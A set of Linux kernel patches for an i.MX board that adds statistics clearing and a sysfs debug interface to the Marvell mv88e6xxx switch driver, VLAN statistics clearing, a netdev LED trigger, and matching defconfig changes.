+ return;
+
+ histogram &= 0xC00;
+ /* Clear the statistics counters for given port */
+ err = mv88e6xxx_g1_write(chip, MV88E6XXX_G1_STATS_OP,
+ MV88E6XXX_G1_STATS_OP_BUSY |
+ MV88E6XXX_G1_STATS_OP_FLUSH_PORT |
+ (port +1) << 5 |
+ histogram);
+}
+
+static void mv88e6250_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ mv88e6xxx_stats_clear_stats(chip, port);
+}
+
+static void mv88e6xxx_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ if (chip->info->ops->stats_clear_stats)
+ chip->info->ops->stats_clear_stats(chip, port);
+}
+
+static void mv88e6xxx_clear_ethtool_stats(struct dsa_switch *ds, int port)
+{
+ struct mv88e6xxx_chip *chip = ds->priv;
+
+ mutex_lock(&chip->reg_lock);
+
+ mv88e6xxx_clear_stats(chip, port);
+
+ mutex_unlock(&chip->reg_lock);
+}
+
static int mv88e6xxx_stats_set_histogram(struct mv88e6xxx_chip *chip)
{
if (chip->info->ops->stats_set_histogram)
@@ -2801,6 +2841,7 @@ static const struct mv88e6xxx_ops mv88e6
.stats_get_sset_count = mv88e6250_stats_get_sset_count,
.stats_get_strings = mv88e6250_stats_get_strings,
.stats_get_stats = mv88e6250_stats_get_stats,
+ .stats_clear_stats = mv88e6250_stats_clear_stats,
.set_cpu_port = mv88e6095_g1_set_cpu_port,
.set_egress_port = mv88e6095_g1_set_egress_port,
.watchdog_ops = &mv88e6250_watchdog_ops,
@@ -3837,6 +3878,7 @@ static const struct dsa_switch_ops mv88e
.adjust_link = mv88e6xxx_adjust_link,
.get_strings = mv88e6xxx_get_strings,
.get_ethtool_stats = mv88e6xxx_get_ethtool_stats,
+ .clear_ethtool_stats = mv88e6xxx_clear_ethtool_stats,
.get_sset_count = mv88e6xxx_get_sset_count,
.port_enable = mv88e6xxx_port_enable,
.port_disable = mv88e6xxx_port_disable,
Index: net/8021q/vlan_dev.c
===================================================================
--- net/8021q/vlan_dev.c
+++ linux-imx/net/8021q/vlan_dev.c
@@ -681,6 +681,26 @@ static int vlan_ethtool_get_ts_info(stru
return 0;
}
+static void vlan_clear_ethtool_stats(struct net_device *dev)
+{
+ struct vlan_pcpu_stats *p;
+ unsigned int start;
+ int i;
+
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
+ for_each_possible_cpu(i) {
+ p = per_cpu_ptr(vlan_dev_priv(dev)->vlan_pcpu_stats, i);
+ do {
+ start = u64_stats_fetch_begin_irq(&p->syncp);
+ p->rx_packets = 0L;
+ p->rx_bytes = 0L;
+ p->rx_multicast = 0L;
+ p->tx_packets = 0L;
+ p->tx_bytes = 0L;
+ } while (u64_stats_fetch_retry_irq(&p->syncp, start));
+ }
+}
+
static void vlan_dev_get_stats64(struct net_device *dev,
struct rtnl_link_stats64 *stats)
{
@@ -771,6 +791,7 @@ static const struct ethtool_ops vlan_eth
.get_drvinfo = vlan_ethtool_get_drvinfo,
.get_link = ethtool_op_get_link,
.get_ts_info = vlan_ethtool_get_ts_info,
+ .clear_ethtool_stats = vlan_clear_ethtool_stats,
};
static const struct net_device_ops vlan_netdev_ops = {

View File

@ -0,0 +1,229 @@
Index: drivers/net/dsa/mv88e6xxx/chip.c
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.c
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
@@ -3936,6 +3936,212 @@ static void mv88e6xxx_unregister_switch(
dsa_unregister_switch(chip->ds);
}
+/*
+ * Marvell switch mv88e6xxx sysfs interface
+ */
+static int mv88e6xxx_port;
+static u16 mv88e6xxx_reg;
+static ssize_t sysfs_reg_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_reg);
+}
+
+static ssize_t sysfs_reg_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ if (kstrtou16(buf, 0, &mv88e6xxx_reg)) {
+ dev_err(dev, "Invalid reg\n");
+ return -EINVAL;
+ }
+ return (ssize_t)count;
+}
+
+static ssize_t sysfs_port_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_port);
+}
+
+static ssize_t sysfs_port_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ if (kstrtoint(buf, 0, &mv88e6xxx_port)) {
+ dev_err(dev, "Invalid port \n");
+ return -EINVAL;
+ }
+ return (ssize_t)count;
+}
+
+/*
+ * Read the specified register of a specified port
+ */
+static ssize_t sysfs_port_reg_val_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ u16 reg;
+ int err;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_port_read(chip, mv88e6xxx_port, mv88e6xxx_reg, &reg);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "Port %d register %x failed\n", mv88e6xxx_port, mv88e6xxx_reg);
+ return -EIO;
+ }
+
+ return scnprintf(buf, PAGE_SIZE, "0x%x\n", reg);
+}
+
+/*
+ * Purge the switch ATU cache
+ */
+static ssize_t sysfs_atu_flush(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ int err;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_g1_atu_flush(chip, 0, true);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "ATU flush failed\n");
+ return -EIO;
+ }
+
+ return (ssize_t)count;
+}
+
+/*
+ * Returns the ATU cache content
+ */
+static ssize_t sysfs_atu_dump(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ struct mv88e6xxx_atu_entry addr;
+ u16 fid = 0;
+ ssize_t n = 0;
+ int err;
+
+ addr.state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
+ eth_broadcast_addr(addr.mac);
+
+ n += scnprintf(buf + n, PAGE_SIZE - n,
+ "\nATU List:\n");
+
+ mutex_lock(&chip->reg_lock);
+ while (1) {
+ err = mv88e6xxx_g1_atu_getnext(chip, fid, &addr);
+ if (err)
+ break;
+
+ if (addr.state == MV88E6XXX_G1_ATU_DATA_STATE_UNUSED)
+ break;
+ n += scnprintf(buf + n, PAGE_SIZE - n,
+ "(%02x:%02x:%02x:%02x:%02x:%02x), PortVec %#x, State %#x\n",
+ addr.mac[0], addr.mac[1], addr.mac[2],
+ addr.mac[3], addr.mac[4], addr.mac[5],
+ addr.portvec,
+ addr.state);
+ }
+ mutex_unlock(&chip->reg_lock);
+ n += scnprintf(buf + n, PAGE_SIZE - n,"\n");
+ if (err)
+ return 0;
+ else
+ return n;
+}
+
+static ssize_t sysfs_atu_uc_static_entry_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ const char *name = attr->attr.name;
+ struct mv88e6xxx_atu_entry entry;
+ u8 mac[ETH_ALEN];
+ u8 state;
+ int values[ETH_ALEN], dpv;
+ int i, err;
+
+ if(7 != sscanf(buf, "%x:%x:%x:%x:%x:%x %x%*c",
+ &values[0], &values[1], &values[2],
+ &values[3], &values[4], &values[5],
+ &dpv)) {
+ dev_err(dev, "Invalid input %s\n", buf);
+ return -EINVAL;
+ }
+
+ for (i = 0; i<ETH_ALEN; i++) {
+ if (values[i] < 0 || values[i] > 255) {
+ dev_err(dev, "Invalid mac %s\n", buf);
+ return -EINVAL;
+ }
+ mac[i] = (u8)values[i];
+ }
+
+ if (!strcmp(name, "atu_uc_static_entry_add"))
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UC_STATIC;
+ else
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
+
+ memset(&entry, 0, sizeof(entry));
+ ether_addr_copy(entry.mac, mac);
+ entry.portvec = dpv;
+ entry.state = state;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_g1_atu_loadpurge(chip, 0, &entry);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "Load static entry failed\n");
+ return -EIO;
+ }
+
+ return (ssize_t)count;
+}
+
+static DEVICE_ATTR(reg, S_IWUSR | S_IRUSR,
+ sysfs_reg_show, sysfs_reg_store);
+static DEVICE_ATTR(port, S_IWUSR | S_IRUSR,
+ sysfs_port_show, sysfs_port_store);
+static DEVICE_ATTR(port_reg_val, S_IWUSR | S_IRUSR,
+ sysfs_port_reg_val_show, NULL);
+static DEVICE_ATTR(atu, S_IWUSR | S_IRUSR,
+ sysfs_atu_dump, sysfs_atu_flush);
+static DEVICE_ATTR(atu_uc_static_entry_add, S_IWUSR | S_IRUSR,
+ NULL, sysfs_atu_uc_static_entry_store);
+static DEVICE_ATTR(atu_uc_static_entry_del, S_IWUSR | S_IRUSR,
+ NULL, sysfs_atu_uc_static_entry_store);
+
+static struct attribute *mv88e6xxx_sysfs_entries[] = {
+ &dev_attr_reg.attr,
+ &dev_attr_port.attr,
+ &dev_attr_port_reg_val.attr,
+ &dev_attr_atu.attr,
+ &dev_attr_atu_uc_static_entry_add.attr,
+ &dev_attr_atu_uc_static_entry_del.attr,
+ NULL
+};
+
+static struct attribute_group mv88e6xxx_attribute_group = {
+ .name = "config",
+ .attrs = mv88e6xxx_sysfs_entries,
+};
+
static int mv88e6xxx_probe(struct mdio_device *mdiodev)
{
struct device *dev = &mdiodev->dev;
@@ -4013,6 +4219,11 @@ static int mv88e6xxx_probe(struct mdio_d
if (err)
goto out_mdio;
+ /* register sysfs files */
+ err = sysfs_create_group(&dev->kobj, &mv88e6xxx_attribute_group);
+ if (err)
+ dev_err(chip->dev, "sysfs_create_group failed\n");
+
return 0;
out_mdio:

View File

@ -0,0 +1,527 @@
Index: drivers/leds/trigger/Kconfig
===================================================================
--- drivers/leds/trigger/Kconfig
+++ linux-imx/drivers/leds/trigger/Kconfig
@@ -126,4 +126,11 @@ config LEDS_TRIGGER_PANIC
a different trigger.
If unsure, say Y.
+config LEDS_TRIGGER_NETDEV
+ tristate "LED Netdev Trigger"
+ depends on NET
+ help
+ This allows LEDs to be controlled by network device activity.
+ If unsure, say Y.
+
endif # LEDS_TRIGGERS
Index: drivers/leds/trigger/Makefile
===================================================================
--- drivers/leds/trigger/Makefile
+++ linux-imx/drivers/leds/trigger/Makefile
@@ -11,3 +11,4 @@ obj-$(CONFIG_LEDS_TRIGGER_DEFAULT_ON) +=
obj-$(CONFIG_LEDS_TRIGGER_TRANSIENT) += ledtrig-transient.o
obj-$(CONFIG_LEDS_TRIGGER_CAMERA) += ledtrig-camera.o
obj-$(CONFIG_LEDS_TRIGGER_PANIC) += ledtrig-panic.o
+obj-$(CONFIG_LEDS_TRIGGER_NETDEV) += ledtrig-netdev.o
Index: drivers/leds/trigger/ledtrig-netdev.c
===================================================================
--- /dev/null
+++ linux-imx/drivers/leds/trigger/ledtrig-netdev.c
@@ -0,0 +1,497 @@
+// SPDX-License-Identifier: GPL-2.0
+// Copyright 2017 Ben Whitten <ben.whitten@gmail.com>
+// Copyright 2007 Oliver Jowett <oliver@opencloud.com>
+//
+// LED Kernel Netdev Trigger
+//
+// Toggles the LED to reflect the link and traffic state of a named net device
+//
+// Derived from ledtrig-timer.c which is:
+// Copyright 2005-2006 Openedhand Ltd.
+// Author: Richard Purdie <rpurdie@openedhand.com>
+
+#include <linux/atomic.h>
+#include <linux/ctype.h>
+#include <linux/device.h>
+#include <linux/init.h>
+#include <linux/jiffies.h>
+#include <linux/kernel.h>
+#include <linux/leds.h>
+#include <linux/list.h>
+#include <linux/module.h>
+#include <linux/netdevice.h>
+#include <linux/spinlock.h>
+#include <linux/timer.h>
+#include "../leds.h"
+
+/*
+ * Configurable sysfs attributes:
+ *
+ * device_name - network device name to monitor
+ * interval - duration of LED blink, in milliseconds
+ * link - LED's normal state reflects whether the link is up
+ * (has carrier) or not
+ * tx - LED blinks on transmitted data
+ * rx - LED blinks on receive data
+ *
+ */
+
+struct led_netdev_data {
+ spinlock_t lock;
+
+ struct delayed_work work;
+ struct notifier_block notifier;
+
+ struct led_classdev *led_cdev;
+ struct net_device *net_dev;
+
+ char device_name[IFNAMSIZ];
+ atomic_t interval;
+ unsigned int last_activity;
+
+ unsigned long mode;
+#define NETDEV_LED_LINK 0
+#define NETDEV_LED_TX 1
+#define NETDEV_LED_RX 2
+#define NETDEV_LED_MODE_LINKUP 3
+};
+
+enum netdev_led_attr {
+ NETDEV_ATTR_LINK,
+ NETDEV_ATTR_TX,
+ NETDEV_ATTR_RX
+};
+
+static void set_baseline_state(struct led_netdev_data *trigger_data)
+{
+ int current_brightness;
+ struct led_classdev *led_cdev = trigger_data->led_cdev;
+
+ current_brightness = led_cdev->brightness;
+ if (current_brightness)
+ led_cdev->blink_brightness = current_brightness;
+ if (!led_cdev->blink_brightness)
+ led_cdev->blink_brightness = led_cdev->max_brightness;
+
+ if (!test_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode))
+ led_set_brightness(led_cdev, LED_OFF);
+ else {
+ if (test_bit(NETDEV_LED_LINK, &trigger_data->mode))
+ led_set_brightness(led_cdev,
+ led_cdev->blink_brightness);
+ else
+ led_set_brightness(led_cdev, LED_OFF);
+
+ /* If we are looking for RX/TX start periodically
+ * checking stats
+ */
+ if (test_bit(NETDEV_LED_TX, &trigger_data->mode) ||
+ test_bit(NETDEV_LED_RX, &trigger_data->mode))
+ schedule_delayed_work(&trigger_data->work, 0);
+ }
+}
+
+static ssize_t device_name_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ ssize_t len;
+
+ spin_lock_bh(&trigger_data->lock);
+ len = sprintf(buf, "%s\n", trigger_data->device_name);
+ spin_unlock_bh(&trigger_data->lock);
+
+ return len;
+}
+
+static ssize_t device_name_store(struct device *dev,
+ struct device_attribute *attr, const char *buf,
+ size_t size)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ if (size >= IFNAMSIZ)
+ return -EINVAL;
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ spin_lock_bh(&trigger_data->lock);
+
+ if (trigger_data->net_dev) {
+ dev_put(trigger_data->net_dev);
+ trigger_data->net_dev = NULL;
+ }
+
+ memcpy(trigger_data->device_name, buf, size);
+ trigger_data->device_name[size] = 0;
+ if (size > 0 && trigger_data->device_name[size - 1] == '\n')
+ trigger_data->device_name[size - 1] = 0;
+
+ if (trigger_data->device_name[0] != 0)
+ trigger_data->net_dev =
+ dev_get_by_name(&init_net, trigger_data->device_name);
+
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ if (trigger_data->net_dev != NULL)
+ if (netif_carrier_ok(trigger_data->net_dev))
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+
+ trigger_data->last_activity = 0;
+
+ set_baseline_state(trigger_data);
+ spin_unlock_bh(&trigger_data->lock);
+
+ return size;
+}
+
+static DEVICE_ATTR_RW(device_name);
+
+static ssize_t netdev_led_attr_show(struct device *dev, char *buf,
+ enum netdev_led_attr attr)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ int bit;
+
+ switch (attr) {
+ case NETDEV_ATTR_LINK:
+ bit = NETDEV_LED_LINK;
+ break;
+ case NETDEV_ATTR_TX:
+ bit = NETDEV_LED_TX;
+ break;
+ case NETDEV_ATTR_RX:
+ bit = NETDEV_LED_RX;
+ break;
+ default:
+ return -EINVAL;
+ }
+
+ return sprintf(buf, "%u\n", test_bit(bit, &trigger_data->mode));
+}
+
+static ssize_t netdev_led_attr_store(struct device *dev, const char *buf,
+ size_t size, enum netdev_led_attr attr)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ unsigned long state;
+ int ret;
+ int bit;
+
+ ret = kstrtoul(buf, 0, &state);
+ if (ret)
+ return ret;
+
+ switch (attr) {
+ case NETDEV_ATTR_LINK:
+ bit = NETDEV_LED_LINK;
+ break;
+ case NETDEV_ATTR_TX:
+ bit = NETDEV_LED_TX;
+ break;
+ case NETDEV_ATTR_RX:
+ bit = NETDEV_LED_RX;
+ break;
+ default:
+ return -EINVAL;
+ }
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ if (state)
+ set_bit(bit, &trigger_data->mode);
+ else
+ clear_bit(bit, &trigger_data->mode);
+
+ set_baseline_state(trigger_data);
+
+ return size;
+}
+
+static ssize_t link_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_LINK);
+}
+
+static ssize_t link_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_LINK);
+}
+
+static DEVICE_ATTR_RW(link);
+
+static ssize_t tx_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_TX);
+}
+
+static ssize_t tx_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_TX);
+}
+
+static DEVICE_ATTR_RW(tx);
+
+static ssize_t rx_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_RX);
+}
+
+static ssize_t rx_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_RX);
+}
+
+static DEVICE_ATTR_RW(rx);
+
+static ssize_t interval_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ return sprintf(buf, "%u\n",
+ jiffies_to_msecs(atomic_read(&trigger_data->interval)));
+}
+
+static ssize_t interval_store(struct device *dev,
+ struct device_attribute *attr, const char *buf,
+ size_t size)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ unsigned long value;
+ int ret;
+
+ ret = kstrtoul(buf, 0, &value);
+ if (ret)
+ return ret;
+
+ /* impose some basic bounds on the timer interval */
+ if (value >= 5 && value <= 10000) {
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(value));
+ set_baseline_state(trigger_data); /* resets timer */
+ }
+
+ return size;
+}
+
+static DEVICE_ATTR_RW(interval);
+
+static int netdev_trig_notify(struct notifier_block *nb,
+ unsigned long evt, void *dv)
+{
+ struct net_device *dev =
+ netdev_notifier_info_to_dev((struct netdev_notifier_info *)dv);
+ struct led_netdev_data *trigger_data = container_of(nb,
+ struct
+ led_netdev_data,
+ notifier);
+
+ if (evt != NETDEV_UP && evt != NETDEV_DOWN && evt != NETDEV_CHANGE
+ && evt != NETDEV_REGISTER && evt != NETDEV_UNREGISTER
+ && evt != NETDEV_CHANGENAME)
+ return NOTIFY_DONE;
+
+ if (!(dev == trigger_data->net_dev ||
+ (evt == NETDEV_CHANGENAME && !strcmp(dev->name, trigger_data->device_name)) ||
+ (evt == NETDEV_REGISTER && !strcmp(dev->name, trigger_data->device_name))))
+ return NOTIFY_DONE;
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ spin_lock_bh(&trigger_data->lock);
+
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ switch (evt) {
+ case NETDEV_CHANGENAME:
+ case NETDEV_REGISTER:
+ if (trigger_data->net_dev)
+ dev_put(trigger_data->net_dev);
+ dev_hold(dev);
+ trigger_data->net_dev = dev;
+ break;
+ case NETDEV_UNREGISTER:
+ dev_put(trigger_data->net_dev);
+ trigger_data->net_dev = NULL;
+ break;
+ case NETDEV_UP:
+ case NETDEV_CHANGE:
+ if (netif_carrier_ok(dev))
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ break;
+ }
+
+ set_baseline_state(trigger_data);
+
+ spin_unlock_bh(&trigger_data->lock);
+
+ return NOTIFY_DONE;
+}
+
+/* here's the real work! */
+static void netdev_trig_work(struct work_struct *work)
+{
+ struct led_netdev_data *trigger_data = container_of(work,
+ struct
+ led_netdev_data,
+ work.work);
+ struct rtnl_link_stats64 *dev_stats;
+ unsigned int new_activity;
+ struct rtnl_link_stats64 temp;
+ unsigned long interval;
+ int invert;
+
+ /* If we dont have a device, insure we are off */
+ if (!trigger_data->net_dev) {
+ led_set_brightness(trigger_data->led_cdev, LED_OFF);
+ return;
+ }
+
+ /* If we are not looking for RX/TX then return */
+ if (!test_bit(NETDEV_LED_TX, &trigger_data->mode) &&
+ !test_bit(NETDEV_LED_RX, &trigger_data->mode))
+ return;
+
+ dev_stats = dev_get_stats(trigger_data->net_dev, &temp);
+ new_activity =
+ (test_bit(NETDEV_LED_TX, &trigger_data->mode) ?
+ dev_stats->tx_packets : 0) +
+ (test_bit(NETDEV_LED_RX, &trigger_data->mode) ?
+ dev_stats->rx_packets : 0);
+
+ if (trigger_data->last_activity != new_activity) {
+ led_stop_software_blink(trigger_data->led_cdev);
+
+ invert = test_bit(NETDEV_LED_LINK, &trigger_data->mode);
+ interval = jiffies_to_msecs(
+ atomic_read(&trigger_data->interval));
+ /* base state is ON (link present) */
+ led_blink_set_oneshot(trigger_data->led_cdev,
+ &interval,
+ &interval,
+ invert);
+ trigger_data->last_activity = new_activity;
+ }
+
+ schedule_delayed_work(&trigger_data->work,
+ (atomic_read(&trigger_data->interval)*2));
+}
+
+static void netdev_trig_activate(struct led_classdev *led_cdev)
+{
+ struct led_netdev_data *trigger_data;
+ int rc;
+
+ trigger_data = kzalloc(sizeof(struct led_netdev_data), GFP_KERNEL);
+ if (!trigger_data)
+ return;
+
+ spin_lock_init(&trigger_data->lock);
+
+ trigger_data->notifier.notifier_call = netdev_trig_notify;
+ trigger_data->notifier.priority = 10;
+
+ INIT_DELAYED_WORK(&trigger_data->work, netdev_trig_work);
+
+ trigger_data->led_cdev = led_cdev;
+ trigger_data->net_dev = NULL;
+ trigger_data->device_name[0] = 0;
+
+ trigger_data->mode = 0;
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(50));
+ trigger_data->last_activity = 0;
+
+ led_cdev->trigger_data = trigger_data;
+
+ rc = device_create_file(led_cdev->dev, &dev_attr_device_name);
+ if (rc)
+ goto err_out;
+ rc = device_create_file(led_cdev->dev, &dev_attr_link);
+ if (rc)
+ goto err_out_device_name;
+ rc = device_create_file(led_cdev->dev, &dev_attr_rx);
+ if (rc)
+ goto err_out_link;
+ rc = device_create_file(led_cdev->dev, &dev_attr_tx);
+ if (rc)
+ goto err_out_rx;
+ rc = device_create_file(led_cdev->dev, &dev_attr_interval);
+ if (rc)
+ goto err_out_tx;
+ rc = register_netdevice_notifier(&trigger_data->notifier);
+ if (rc)
+ goto err_out_interval;
+ return;
+
+err_out_interval:
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
+err_out_tx:
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
+err_out_rx:
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
+err_out_link:
+ device_remove_file(led_cdev->dev, &dev_attr_link);
+err_out_device_name:
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
+err_out:
+ led_cdev->trigger_data = NULL;
+ kfree(trigger_data);
+}
+
+static void netdev_trig_deactivate(struct led_classdev *led_cdev)
+{
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ if (trigger_data) {
+ unregister_netdevice_notifier(&trigger_data->notifier);
+
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
+ device_remove_file(led_cdev->dev, &dev_attr_link);
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ if (trigger_data->net_dev)
+ dev_put(trigger_data->net_dev);
+
+ kfree(trigger_data);
+ }
+}
+
+static struct led_trigger netdev_led_trigger = {
+ .name = "netdev",
+ .activate = netdev_trig_activate,
+ .deactivate = netdev_trig_deactivate,
+};
+
+static int __init netdev_trig_init(void)
+{
+ return led_trigger_register(&netdev_led_trigger);
+}
+
+static void __exit netdev_trig_exit(void)
+{
+ led_trigger_unregister(&netdev_led_trigger);
+}
+
+module_init(netdev_trig_init);
+module_exit(netdev_trig_exit);
+
+MODULE_AUTHOR("Ben Whitten <ben.whitten@gmail.com>");
+MODULE_AUTHOR("Oliver Jowett <oliver@opencloud.com>");
+MODULE_DESCRIPTION("Netdev LED trigger");
+MODULE_LICENSE("GPL v2");

View File

@ -158,6 +158,8 @@ CONFIG_IP6_NF_NAT=m
CONFIG_IP6_NF_TARGET_MASQUERADE=m CONFIG_IP6_NF_TARGET_MASQUERADE=m
CONFIG_BRIDGE=m CONFIG_BRIDGE=m
CONFIG_BRIDGE_VLAN_FILTERING=y CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_NET_DSA=y
CONFIG_NET_DSA_SLAVE_MAC=y
CONFIG_VLAN_8021Q=m CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y CONFIG_VLAN_8021Q_MVRP=y
@ -210,6 +212,7 @@ CONFIG_MAC80211_MESH_SYNC_DEBUG=y
CONFIG_MAC80211_MESH_CSA_DEBUG=y CONFIG_MAC80211_MESH_CSA_DEBUG=y
CONFIG_MAC80211_MESH_PS_DEBUG=y CONFIG_MAC80211_MESH_PS_DEBUG=y
CONFIG_MAC80211_TDLS_DEBUG=y CONFIG_MAC80211_TDLS_DEBUG=y
CONFIG_RFKILL=y
CONFIG_NET_9P=y CONFIG_NET_9P=y
CONFIG_NET_9P_VIRTIO=y CONFIG_NET_9P_VIRTIO=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug" CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
@ -269,6 +272,7 @@ CONFIG_VXLAN=m
CONFIG_TUN=y CONFIG_TUN=y
CONFIG_VETH=m CONFIG_VETH=m
CONFIG_VIRTIO_NET=y CONFIG_VIRTIO_NET=y
CONFIG_NET_DSA_MV88E6XXX=m
CONFIG_AMD_XGBE=y CONFIG_AMD_XGBE=y
CONFIG_NET_XGENE=y CONFIG_NET_XGENE=y
CONFIG_MACB=y CONFIG_MACB=y
@ -290,7 +294,6 @@ CONFIG_AT803X_PHY=y
CONFIG_MARVELL_PHY=m CONFIG_MARVELL_PHY=m
CONFIG_MESON_GXL_PHY=m CONFIG_MESON_GXL_PHY=m
CONFIG_MICREL_PHY=y CONFIG_MICREL_PHY=y
CONFIG_NXP_TJA110X_PHY=y
CONFIG_REALTEK_PHY=m CONFIG_REALTEK_PHY=m
CONFIG_ROCKCHIP_PHY=y CONFIG_ROCKCHIP_PHY=y
CONFIG_PPP=y CONFIG_PPP=y
@ -314,7 +317,6 @@ CONFIG_USB_NET_QMI_WWAN=m
CONFIG_BRCMFMAC=m CONFIG_BRCMFMAC=m
CONFIG_BRCMFMAC_PCIE=y CONFIG_BRCMFMAC_PCIE=y
CONFIG_HOSTAP=y CONFIG_HOSTAP=y
CONFIG_RFKILL=y
CONFIG_RTL_CARDS=m CONFIG_RTL_CARDS=m
# CONFIG_WLAN_VENDOR_TI is not set # CONFIG_WLAN_VENDOR_TI is not set
CONFIG_XEN_NETDEV_BACKEND=m CONFIG_XEN_NETDEV_BACKEND=m
@ -618,7 +620,6 @@ CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_OPTION=y CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_TEST=m CONFIG_USB_TEST=m
CONFIG_USB_EHSET_TEST_FIXTURE=y CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y CONFIG_USB_HSIC_USB3503=y
CONFIG_NOP_USB_XCEIV=y CONFIG_NOP_USB_XCEIV=y
CONFIG_USB_GPIO_VBUS=y CONFIG_USB_GPIO_VBUS=y
@ -687,6 +688,7 @@ CONFIG_LEDS_SYSCON=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=y CONFIG_LEDS_TRIGGER_HEARTBEAT=y
CONFIG_LEDS_TRIGGER_CPU=y CONFIG_LEDS_TRIGGER_CPU=y
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
CONFIG_LEDS_TRIGGER_NETDEV=y
CONFIG_EDAC=y CONFIG_EDAC=y
CONFIG_RTC_CLASS=y CONFIG_RTC_CLASS=y
CONFIG_RTC_DRV_MAX77686=y CONFIG_RTC_DRV_MAX77686=y

View File

@ -69,7 +69,7 @@ Index: u-boot-imx/arch/arm/dts/fsl-imx8mm-tgr.dts
